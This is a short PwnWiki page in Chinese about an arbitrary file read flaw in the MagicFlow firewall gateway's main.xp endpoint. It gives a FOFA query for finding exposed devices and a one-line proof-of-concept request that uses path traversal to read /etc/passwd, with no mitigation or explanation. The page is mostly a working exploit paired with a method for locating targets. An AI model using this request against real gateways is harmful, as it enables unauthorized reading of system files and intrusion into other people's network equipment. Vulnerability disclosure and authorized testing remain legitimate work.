MagicFlow 防火牆網關 main.xp 任意文件讀取漏洞

From PwnWiki
Revision as of 17:37, 18 June 2021 by Pwnwiki (talk | contribs) (Marked this version for translation)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Other languages:

漏洞影響

MagicFlow 防火牆網關

FOFA

app="MSA/1.0"

POC

/msa/main.xp?Fun=msaDataCenetrDownLoadMore+delflag=1+downLoadFileName=msagroup.txt+downLoadFile=../etc/passwd